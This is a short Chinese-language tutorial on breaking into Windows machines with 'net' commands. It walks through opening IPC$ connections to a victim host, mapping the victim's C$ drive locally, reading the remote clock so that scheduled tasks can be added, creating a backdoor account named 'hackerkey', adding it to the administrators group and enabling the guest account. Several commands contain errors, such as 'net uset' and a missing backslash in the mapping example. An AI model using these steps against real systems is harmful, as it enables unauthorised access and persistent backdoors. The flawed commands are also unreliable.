NET 命令入侵

1、建立 IPC 空连接:

net use \\ip\ipc$ "password" /user:username

如与 IP 为 192.168.0.1,用户名为 hackerkey,密码为 12345 的机器建立 IPC 连接命令为:

net use \\192.168.0.1\ipc$ "12345" /user:hackerkey

(如密码为空,可用""表示密码部分)

2、删除 IPC 连接:

net use \\ip\ipc$ /del

如用 net use \\192.168.0.1\ipc$ /del

删除上面已经建立的 ipc$连接

3、启动和删除 IPC$共享

net share ipc$ 和 net share ipc$ /del

用 net share c=c:\ 可完全共享 C 盘,使用 net share 可以查看开放了什么共享

4、映射磁盘和删除映射磁盘:

net use drivename \\ip\drive$ 和 net use drivename /del

如和受侵者机器建立 IPC 共享后,可以执行 net use z:\192.168.0.1\c$ 将受侵者系统开放的默认共享 C 盘映射为自己的本地磁盘 Z,操作自己的 Z 盘就是操作它的 C 盘,注意建立磁盘映射必须先建立 IPC 连接,要映射成的磁盘必须是本地不存在的盘符,例如,本地已经存在 D 盘,就不能再将受侵者的某个盘映射成自己的 D 盘了.

5、断开上面的映射的磁盘

net use z:/del

6、查看远程系统的时间:

net time \\IP .如 net time \\192.168.0.1 查看 192.168.0.1 系统当前时间,已方便入侵的下一步用 at 命令添加一个计划任务

7、添加/删除用户:

net user username password /add 和 net user username /del

例如:net user hackerkey 123456 /add 添加一个名为 hackerkey,密码为 123456 的用户,

8、把该用户添加到管理员组使用命令

net localgroup administrator hackerkey /add

9、激活被禁用的 guest 帐号:

net uset guest /active:yes(将 guest 用户设置为禁用使用命令 net user guest /active:no)